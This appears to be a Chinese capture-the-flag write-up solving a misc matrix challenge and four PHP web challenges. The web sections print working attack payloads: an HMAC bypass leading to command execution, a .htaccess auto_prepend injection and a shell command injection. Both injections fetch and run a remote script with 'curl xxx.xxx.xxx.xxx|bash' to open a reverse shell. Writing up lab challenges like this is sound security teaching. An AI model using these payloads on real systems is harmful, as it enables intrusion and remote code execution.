这比赛打得揪心,被jiaoshi是真的难受…而且还不停有人这样,前一晚刚刚爆完肝,被这么一整明显感觉自己精神状况有问题

misc com

nc ip port

拿到一个矩阵,求出方程组提交就可以,这里注意需要以数组形式提交,且逗号后需要有空格,脚本如下:

import numpy as np
A=np.random.rand(35,35)
B=np.random.rand(35)
r=open("cert.txt",'r')
lines=r.readlines()
A_row=0
A_column=0
B_flag=0
# print(len(lines))
for line in lines:
x=line.split()
# print(len(x))
for i in range(0,len(x)):
if i<len(x) -1:
A[A_row][A_column]=int(x[i])
A_column=A_column+1
if A_column==35:
A_column=0
A_row=A_row+1
else:
B[B_flag]=int(x[i])
B_flag=B_flag+1
s=np.linalg.solve(A,B)
print(s)

WEB easycon

打开题目,提示eval post cmd,直接用hackbar发请求,看到有一个txt文件,里面是base64编码,解码成图片可以拿到flag

WEB BlackCat

题目给了一段黑猫警长的MP3,里面还藏了张图片(虽然并没有什么用),直接用winhex打开,拉到最后可以看到源码

格式化一下源码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

逻辑就是,输入的White-cat-monitor值会计算加盐哈希,并且盐是未知的,另外这个哈希值会作为盐对One-ear进行哈希,输入的Black-Cat-Sheriff需要是该哈希值,且这里最后有一个exec函数,可以使用One-ear进行命令执行。

clandestine值是未知的,所以我们需要构造一个已知的哈希值,即如果输入的White-cat-monitor为数组,则哈希计算失败,得出结果为false,即对后续的进一步哈希操作无影响,再使用One-ear弹个shell回来即可。

构造payload:

Black-Cat-Sheriff=(One-ear哈希值)&One-ear=(闭合nc弹shell命令)&White-cat-monitor[]=1

WEB Easyphp

题目给了源码

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

提供了一个写文件的功能且只能写文件名为[a-z.]*的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_filephp_value

一个利用.htaccess进行文件包含的题,可以使用\换行,绕过过滤直接写.htaccess

php_value auto_prepend_fi\
le ".htaccess"
#<?php eval(system("curl xxx.xxx.xxx.xxx/t.sh|bash"));?>\

需要url编码,提交payload后再次访问该题即可弹回shell

filename=.htaccess&content=php_value+auto_prepend_fi%5c%0d%0ale+%22.htaccess%22%0d%0a%23%3c%3fphp+eval(system(%22curl+http%3a%2f%2fxxx.xxx.xxx.xxx%2ft.sh%7cbash%22))%3b%3f%3e%5c

WEB Easyphp2

直接使用伪协议读文件,但是有waf,更换过滤器,使用

php://filter/read=convert.iconv.utf-8.utf-7/resource=GWHT.php

解码后可得源码:

<?php 
ini_set( 'max_execution_time', 5);
if ($_COOKIE[ 'pass'] !==getenv( 'PASS')) {
setcookie( 'pass', 'PASS');
die( '<h2>'. '<hacker>'. '<h2>'. '<br>'. '<h1>'. '404'. '<h1>'. '<br>'. 'Sorry, only people from GWHT are allowed to access this website.'. '23333');
}
?>

<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea>
<br />
<input type="submit"></form>

<?php
if (isset($_GET[ "count"])) {
$count=$ _GET[ "count"];
if(preg_match( '/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die( 'hacker!');
}

echo "<h2>The Count is: " . exec( 'printf \' ' . $count . '\ ' | wc -c') . "</h2>";
}
?>

即需要输入一个正确的pass,然后可以进入count进行计数,这里根据题目提示得pass=GWHT,可以构造count值弹shell,这里使用curl命令弹,payload如下:

count=xiaoZ' | curl xxx.xxx.xxx.xxx|bash | print 'xiaoZ

拿到shell后,找flag,发现在GWHT/system/最深处有个flag.txt,但是需要权限,GWHT/README中有一个密钥的哈希值

解密后得到密码为GWHTCTF,切换GWHT用户即可访问flag